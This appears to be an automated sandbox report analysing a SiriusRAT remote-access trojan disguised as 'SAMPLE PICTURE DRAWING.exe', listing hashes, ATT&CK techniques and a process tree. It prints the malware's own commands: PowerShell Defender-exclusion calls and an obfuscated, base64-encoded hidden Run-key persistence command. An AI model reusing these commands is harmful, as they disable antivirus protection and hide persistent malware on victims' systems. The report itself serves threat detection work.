siriusrat | d89ba6b6e40853434c11a8125a40e70f73c0457768777a95f487e8b233f6cdc2

Analysis

max time kernel
149s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 02:51

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General

Target
SAMPLE PICTURE DRAWING.exe
Size 2.8MB
Sample260817-dclymssvhy
SHA256 d89ba6b6e40853434c11a8125a40e70f73c0457768777a95f487e8b233f6cdc2
MD5 1b5cf1be9596e2106fda9b3fc53e2303
SHA1 96a2857fd37d31e58123959a803a31f0783e53c4
SHA512 62eb95f9691f1e2edaa7233cbc3bdeb9f57a0e3e3b3786cc7ee0498cc8ec82e5c92a0d0aa7c12ca03ec3152b37ff716fc2076f4c0b3db016f40a12816d3b345f
SSDEEP 49152:zclU7fypJ2gNThv0RmREsfw4Ga05obBaksURjPCowSezQOstIBd7xAvcHk1pR:oa22DmRzfZbjsURjaSOstIBecHER
TLSH
T139D523881729DF02E5D21BF95935E3B427F44E84A522D3038EF93DFBB82972424897D6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution siriusrat persistence rat

Malware Config

Signatures

Family: SiriusRAT
SiriusRAT is a Windows RAT written in C++ with HVNC, offline keylogging, and remote desktop capabilities.
rat siriusrat

Detects SiriusRAT 1 IoCs

resource	yara_rule
behavioral2/memory/5836-20-0x0000000140000000-0x0000000140558000-memory.dmp	family_siriusrat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4668	powershell.exe
3756	powershell.exe
5572	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3828	ZfzWObf.exe
792	ZfzWObf.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\ZfzWObf = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$xwhesk=$env:COMPUTERNAME;$dy1ois=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$xwhesk=$env:COMPUTERNAME;$w2fyg5=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFpmeldPYmYuZXhl')));$nb4van=Get-Date;& $dy1ois -FilePath $w2fyg5\""	SAMPLE PICTURE DRAWING.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2356 set thread context of 5836	2356	SAMPLE PICTURE DRAWING.exe	91
PID 3828 set thread context of 792	3828	ZfzWObf.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4668	powershell.exe
4668	powershell.exe
5572	powershell.exe
5572	powershell.exe
5572	powershell.exe
3756	powershell.exe
3756	powershell.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4668	powershell.exe
Token: SeDebugPrivilege	5572	powershell.exe
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeIncreaseQuotaPrivilege	3756	powershell.exe
Token: SeSecurityPrivilege	3756	powershell.exe
Token: SeTakeOwnershipPrivilege	3756	powershell.exe
Token: SeLoadDriverPrivilege	3756	powershell.exe
Token: SeSystemProfilePrivilege	3756	powershell.exe
Token: SeSystemtimePrivilege	3756	powershell.exe
Token: SeProfSingleProcessPrivilege	3756	powershell.exe
Token: SeIncBasePriorityPrivilege	3756	powershell.exe
Token: SeCreatePagefilePrivilege	3756	powershell.exe
Token: SeBackupPrivilege	3756	powershell.exe
Token: SeRestorePrivilege	3756	powershell.exe
Token: SeShutdownPrivilege	3756	powershell.exe
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeSystemEnvironmentPrivilege	3756	powershell.exe
Token: SeRemoteShutdownPrivilege	3756	powershell.exe
Token: SeUndockPrivilege	3756	powershell.exe
Token: SeManageVolumePrivilege	3756	powershell.exe
Token: 33	3756	powershell.exe
Token: 34	3756	powershell.exe
Token: 35	3756	powershell.exe
Token: 36	3756	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 4668	2356	SAMPLE PICTURE DRAWING.exe	89
PID 2356 wrote to memory of 5836	2356	SAMPLE PICTURE DRAWING.exe	91
PID 2356 wrote to memory of 5836	2356	SAMPLE PICTURE DRAWING.exe	91
PID 2356 wrote to memory of 5836	2356	SAMPLE PICTURE DRAWING.exe	91
PID 2356 wrote to memory of 5836	2356	SAMPLE PICTURE DRAWING.exe	91
PID 2356 wrote to memory of 5836	2356	SAMPLE PICTURE DRAWING.exe	91
PID 2356 wrote to memory of 5836	2356	SAMPLE PICTURE DRAWING.exe	91
PID 2356 wrote to memory of 5836	2356	SAMPLE PICTURE DRAWING.exe	91
PID 2356 wrote to memory of 5836	2356	SAMPLE PICTURE DRAWING.exe	91
PID 2356 wrote to memory of 5836	2356	SAMPLE PICTURE DRAWING.exe	91
PID 5572 wrote to memory of 3828	5572	powershell.exe	94
PID 3828 wrote to memory of 3756	3828	ZfzWObf.exe	96
PID 3828 wrote to memory of 792	3828	ZfzWObf.exe	98
PID 3828 wrote to memory of 792	3828	ZfzWObf.exe	98
PID 3828 wrote to memory of 792	3828	ZfzWObf.exe	98
PID 3828 wrote to memory of 792	3828	ZfzWObf.exe	98
PID 3828 wrote to memory of 792	3828	ZfzWObf.exe	98
PID 3828 wrote to memory of 792	3828	ZfzWObf.exe	98
PID 3828 wrote to memory of 792	3828	ZfzWObf.exe	98
PID 3828 wrote to memory of 792	3828	ZfzWObf.exe	98
PID 3828 wrote to memory of 792	3828	ZfzWObf.exe	98

C:\Users\Admin\AppData\Local\Temp\SAMPLE PICTURE DRAWING.exe
"C:\Users\Admin\AppData\Local\Temp\SAMPLE PICTURE DRAWING.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\SAMPLE PICTURE DRAWING.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4668
- C:\Users\Admin\AppData\Local\Temp\SAMPLE PICTURE DRAWING.exe
  "C:\Users\Admin\AppData\Local\Temp\SAMPLE PICTURE DRAWING.exe"
  2⤵
  PID:5836

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$xwhesk=$env:COMPUTERNAME;$dy1ois=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$xwhesk=$env:COMPUTERNAME;$w2fyg5=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXFpmeldPYmYuZXhl')));$nb4van=Get-Date;& $dy1ois -FilePath $w2fyg5"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5572
- C:\Users\Admin\AppData\Roaming\ZfzWObf.exe
  "C:\Users\Admin\AppData\Roaming\ZfzWObf.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZfzWObf.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3756
- - C:\Users\Admin\AppData\Roaming\ZfzWObf.exe
    C:\Users\Admin\AppData\Roaming\ZfzWObf.exe
    3⤵
    - Executes dropped EXE
    PID:792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4e9379ae885c9cc347a5e74d86d24bbab2a8922017ebf83e3258af2688d2831c
MD5 05006006f463163bc6fd6b61c4a34bfc
SHA1 303217039cd89f9210cefd6a22f9d7c334588409
SHA512 dbb90332400dc203c7804d0c4bc438500521379f74c71530cea9de135de75a1d53c1bf11714faac0d3144ea4b0c8bca85485f4362b60c27455e529b7ca91281f
TLSH
T155218933B3CC8614CC9A413A10CEAC1036B6C7DB809ECEAB7B84D544A42F299CE602A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_uv3vl0ci.wwi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uv3vl0ci.wwi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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ZfzWObf.exe

Path C:\Users\Admin\AppData\Roaming\ZfzWObf.exe
Size 2.8MB
SHA256 d89ba6b6e40853434c11a8125a40e70f73c0457768777a95f487e8b233f6cdc2
MD5 1b5cf1be9596e2106fda9b3fc53e2303
SHA1 96a2857fd37d31e58123959a803a31f0783e53c4
SHA512 62eb95f9691f1e2edaa7233cbc3bdeb9f57a0e3e3b3786cc7ee0498cc8ec82e5c92a0d0aa7c12ca03ec3152b37ff716fc2076f4c0b3db016f40a12816d3b345f
SSDEEP 49152:zclU7fypJ2gNThv0RmREsfw4Ga05obBaksURjPCowSezQOstIBd7xAvcHk1pR:oa22DmRzfZbjsURjaSOstIBecHER
TLSH
T139D523881729DF02E5D21BF95935E3B427F44E84A522D3038EF93DFBB82972424897D6
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/2356-4-0x0000025D13E80000-0x0000025D13EA0000-memory.dmp

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memory/2356-28-0x0000025D2E1C0000-0x0000025D2E1D0000-memory.dmp

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memory/2356-5-0x00007FFA5A4E0000-0x00007FFA5AE84000-memory.dmp

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memory/2356-6-0x00007FFA5A4E0000-0x00007FFA5AE84000-memory.dmp

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memory/2356-7-0x00007FFA5A4E0000-0x00007FFA5AE84000-memory.dmp

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memory/2356-8-0x0000025D30C60000-0x0000025D30EF8000-memory.dmp

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memory/2356-3-0x00007FFA5A4E0000-0x00007FFA5AE84000-memory.dmp

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memory/2356-2-0x00007FFA5A4E0000-0x00007FFA5AE84000-memory.dmp

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memory/2356-1-0x0000025D136E0000-0x0000025D139B8000-memory.dmp

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memory/2356-0-0x00007FFA5A66F000-0x00007FFA5A670000-memory.dmp

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memory/2356-29-0x00007FFA5A4E0000-0x00007FFA5AE84000-memory.dmp

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memory/3756-53-0x00000203A8860000-0x00000203A9204000-memory.dmp

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memory/3756-51-0x00000203C1B00000-0x00000203C1BB2000-memory.dmp

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memory/4668-27-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-16-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-9-0x000001F43292C000-0x000001F43292D000-memory.dmp

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memory/4668-21-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-22-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-23-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-24-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-25-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-26-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-18-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-17-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-19-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-33-0x000001F44B510000-0x000001F44B5C2000-memory.dmp

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memory/4668-32-0x000001F44B4F0000-0x000001F44B50E000-memory.dmp

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memory/4668-15-0x000001F44B240000-0x000001F44B262000-memory.dmp

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memory/4668-36-0x000001F44B5D0000-0x000001F44B5DA000-memory.dmp

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memory/4668-12-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-10-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-11-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/4668-43-0x000001F432190000-0x000001F432B34000-memory.dmp

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memory/5572-41-0x00000251F5870000-0x00000251F6214000-memory.dmp

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memory/5836-20-0x0000000140000000-0x0000000140558000-memory.dmp

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